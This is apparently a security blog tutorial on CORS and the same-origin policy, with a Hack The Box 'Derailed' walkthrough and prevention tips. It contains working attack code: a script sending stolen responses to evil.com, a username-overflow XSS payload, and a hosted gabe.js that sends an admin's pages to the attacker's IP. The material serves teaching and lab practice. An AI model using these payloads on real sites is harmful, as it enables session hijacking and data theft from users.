What is CORS?#
Cross-origin resource sharing (CORS) is a browser mechanism that allows for controlled access to resources located outside the original domain. It is meant to add flexibility to the same-origin policy.
This does, in some cases, open the door for cross-domain attacks because of potential misconfigurations and implementation flaws.
Same-Origin Policy#
The same-origin policy is a browser security mechanism that is meant to prevent websites from being able to attack each other. It does this by restricting scripts from one origin to access data from another origin - like the name suggests.
An origin is defined by a URI scheme, a domain, and a port number like so:
http://example.com/something1/something2.html
This uses the HTTP scheme, which lists the example.com
domain and the port number defined by HTTP is 80
. These criteria determine how the same-origin policy will be applied.
Here are some examples:
URL | Access? |
---|---|
http://example.com/something1/ | Yes - scheme, domain, and port are the same |
http://example.com/something2/ | Yes - scheme, domain, and port are the same |
https://example.com/something1/ | No - different port and scheme |
http://beta.example.com/something1/ | No - different domain |
http://example.com:8080/something1/ | No - different port |
Why Does SOP Matter?#
When a browser sends a request from one origin to another, relevant authentication cookies and information will also be sent as part of the request to that other origin.
This means that if you were to visit a malicious website, it would be able to use your cookies to perform actions on your behalf.
The SOP is a way to lock down a site, but as you can tell it is pretty restrictive. Lots of websites need to communicate with third-party resources in ways that require full cross-origin access, so SOP isn’t always the best solution.
Access-Control-Allow-Origin Headers#
When one website requests information from another site, the Access-Control-Allow-Origin
header is included in the response and it identifies the permitted origin of the request. Your browser would then compare the header with the requesting website’s origin and permit access if they match.
Simple CORS Implementation#
You need to define the header content that should be exchanged between your web server and the client browser that restricts origins for web resource requests that fall outside of the original domain.
For example if the client browser sends the following request:
GET /data HTTP/1.1
Host: alpha.com
Origin : https://beta.com
The server on alpha.com
would return:
HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://beta.com
The browser will allow code running on beta.com
to access the response because the origin set by the web server matches the one sent by the browser.
This is more flexible than a SOP because ACAO allows for multiple origins, which isn’t supported by the majority of browsers.
Example CORS Request with Credentials#
The default CORS behavior is to pass requests without cookies or the Authorization
header. Cross-domain servers can permit reading of the response by setting the CORS Access-Control-Allow-Credentials
header to true
, which will look something like this:
GET /data HTTP/1.1
Host: alpha.com
...
Origin: https://beta.com
Cookie: JSESSIONID=<value>
This would cause the server to respond with:
HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://beta.com
Access-Control-Allow-Credentials: true
Then the browser will permit the requesting website beta.com
to read the response because the header is set to true
and otherwise, we wouldn’t be able to access the response.
CORS Relaxation Using Wildcards#
You can set the ACAO header to be pointer to a domain, or something like null
, or *
. The wildcard support is a bit different than normal, as it can’t be used with other values so that while the first header below is valid, the second one would not be valid:
Access-Control-Allow-Origin: *
Access-Control-Allow-Origin: https://*.beta.com
It is also important to note that you can’t use the wildcard with cross-origin credential transfer requests.
Because of these constraints, lots of web servers will generate the headers dynamically upon a client-specified origin, which isn’t really secure.
Keep in mind that CORS is more like a controlled relaxation of SOP and is not by itself a protection you can use against CSRF.
CORS Configuration Vulnerabilities#
Let’s say that we send the following request:
GET /sensitive-data HTTP/1.1
Host: vulnerable.com
Origin: https://evil.com
Cookie: sessionid=...
And the server responds with this:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true
This would indicate that the application just allows access to any domain, which was likely an effort to make it easier to manage a large amount of third-party implementations.
Because we are in control of our Origin
header, we can host a script on a domain that we control and use that to leak sensitive information that may be leaked from the responses of the vulnerable site. We could do so by hosting a script like this on our site:
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://vulnerable.com/sensitive-data',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://evil.com/log?key='+this.responseText;
};
If we then sent an unsuspecting user to our evil website, then they access the page it will send their active session information to our domain.
This is just an example of one kind of misconfiguration and you could exploit others like:
- Origin parsing errors
- Whitelisted
null
origin - Downgrading from HTTPS to HTTP
- Making a Proxy with CORS
So long as you are being observant enough to notice when CORS is acting up on an application, you should be able to move into the right direction when looking for an exploitation path.
HTB - Derailed#
This was an insane machine that I tried when it was active but wasn’t able to complete at the time. I’ll go through some stuff we have gone over before like XSS and haven’t like Web Assembly. The point of this exercise is to see how we might exploit a CORS misconfiguration when trying some kind of more complicated exploit strategy.
We started off by identifying a web application running on port 3000
and can start poking around. One of the site cookies is labeled as _simple_rails_session
, which indicates that this web application is running on the Ruby on Rails
framework.
We can make a clipnote without an account but making one shows us a bit more functionality:
You’ll notice some important things about this web application really quick. Each note has its own endpoint that you can access and the username and timestamp are displayed on the page next to the author
text. There are also additional functionalities for each of those highlighted buttons:
1
allows you to view the JSON that makes up this note’s data.2
allows you to download the file content in the form of atxt
file.3
allows you to copy the note content to your clipboard.4
allows you to submit a report on the note you are looking at.
I wanted to play with the reporting functionality and noticed the following message appeared after I submitted a report:
"The note has been reported. Our admins will soon have a look at it."
This made me think that we could potentially exploit some kind of XSS or CSRF if we know the report will be viewed by an admin, similar to on the BankRobber
machine.
I tried a bunch of XSS payloads and such and decided to look into the JS which reveals, among other things, that this note on the page is in a read only mode for the Monaco editor and that the display function is implemented by a web assembly file that I don’t know how to decipher.
The other input field that we can control is the username that is loaded onto the page. But when I tried a bunch of XSS payloads there I was also met with disappointment. I knew that the creation time was also technically an input, but we aren’t in real control of that…
Or are we?
If we look into the registration page source, we see a few lines that might allow us to trigger some kind of overflow:
---SNIP---
<div class="form-floating mb-3">
<input maxlength="40" placeholder="Username" class="form-control" size="40" type="text" name="user[username]" id="user_username" />
<label for="user_username">Username</label>
</div>
---SNIP---
We can use Burp Suite to intercept a registration request and try to interpret the behavior of the application. I noticed that we still get redirected to the login screen even if we use a username that is too long and the application behaves weird if you log in.
It looks like the long username will overflow into the created value too. If we can refine our control of this we might be able to get some XSS. Metasploit has a tool that we can use to generate a pattern and we can use math to figure out how long our padding of sorts will need to be:
╰─ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 90
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9
We can make an account with this username and then write a note to see where the pattern cutoff is:
We can use python again to get the index of the cutoff:
╰─ python -c 'print("Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9".index("Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9"))'
48
Now we just need to test it out by creating a payload after the 48th character and seeing if it will work:
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5<img src='#' onerror=alert(1) />
After making the account and creating a note, it seems to work:
Now we can see if we are able to get the admin to reach out to our machine hosting some JS file to be executed. We can use a payload like this:
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5<img src='#' onerror="import('http://10.10.14.6:9000/gabe.js');" />
I opted to use import
instead of fetch
because I ran into issued with it, which made me think that it may have been whitelisted but I can’t be sure.
After we make the account, then the post, and finally report that post, we should get something in our listener like this:
╰─ python3 -m http.server 9000
10.129.228.107 - - [02/Dec/2023 21:18:17] "GET /gabe.js HTTP/1.1" 200 -
We verified that the machine can reach out to us but we want it to execute the JS file that we are hosting. When trying it out initially, we get an error like this in our browser:
This indicated that I needed to supply a Access-Control-Allow-Origin
header with the wildcard *
character in use. We can implement this with a custom python server like this:
#!/usr/bin/python3
import socketserver
from http.server import SimpleHTTPRequestHandler
class Server(socketserver.TCPServer):
allow_reuse_address = True
class CORSRequestHandler (SimpleHTTPRequestHandler):
def end_headers (self):
self.send_header('Access-Control-Allow-Origin', '*')
SimpleHTTPRequestHandler.end_headers(self)
def serve_http(ip, port):
handler = CORSRequestHandler
with Server((ip, port), handler) as httpd:
httpd.serve_forever()
if __name__ == '__main__':
serve_http('10.10.14.6',9000)
Then we need to server the gabe.js
file that contains the following:
function log(msg) {
fetch("http://10.10.14.6:9000/?log=" + btoa(msg));
}
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function () {
if (this.readyState == 4) {
log(xhttp.responseText);
}
};
xhttp.open("GET", "http://derailed.htb:3000/", true);
xhttp.send();
Then, we can listen on our server and report a new note we made and it should execute our JS:
╰─ python3 server.py
10.129.228.107 - - [02/Dec/2023 21:46:39] "GET /gabe.js HTTP/1.1" 200 -
10.129.228.107 - - [02/Dec/2023 21:46:39] "GET /?log=PCFET0NUWVBFIGh0bWw+CjxodG1sPgo8aGVhZD4KICA8dGl0bGU+ZGVyYWlsZWQuaHRiPC90aXRsZT4KICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLGluaXRpYWwtc2NhbGU9MSI+CiAgPG1ldGEgY2hhcnNldD0idXRmLTgiLz4KICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEsIHNocmluay10by1maXQ9bm8iLz4KCiAgPG1ldGEgbmFt0
---SNIP---
This will give us back the base64 encoded contents of the admin’s report page which is very similar to ours except they have access to another endpoint called /administration
:
<li class="nav-item mx-0 mx-lg-1">
<a class="nav-link py-3 px-0 px-lg-3 rounded" href="/administration">Administration</a>
</li>
So, we can edit our gabe.js
file to get the contents of that file instead:
function log(msg) {
fetch("http://10.10.14.6:9000/?log=" + btoa(msg));
}
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function () {
if (this.readyState == 4) {
log(xhttp.responseText);
}
};
xhttp.open("GET", "http://derailed.htb:3000/administration", true);
xhttp.send();
This new page tells us about logs that we can read from and give us a token to use to get them:
<form method="post" action="/administration/reports">
<input type="hidden" name="authenticity_token" id="authenticity_token" value="ExahEzfVPf19-ysMY22xbDajLuUMGaYCWmC_oCAvnlEDKMrLOeiXk9z4p2hYMmb4-OfdAzsHbpS4nh0QpearyA" autocomplete="off" />
<input type="text" class="form-control" name="report_log" value="report_02_12_2023.log" hidden>
<label class="pt-4"> 02.12.2023</label>
We can take this exploit farther to file read and a user shell but the main point is that we can utilize CORS misconfigurations to exploit XSS in a context where we otherwise would not be able to.
Prevention#
Most of the issues with CORS are usually misconfigurations, so try to keep these things in mind when setting it up:
- If a web resource contains sensitive information, the origin should be properly specified in the
Access-Control-Allow-Origin
header. - Only allow trusted sites in the
Access-Control-Allow-Origin
header. - Avoid using wildcard characters in internal networks, as network configuration alone is not adequate protection.
- Don’t try to use CORS as a substitute for server-side security policies.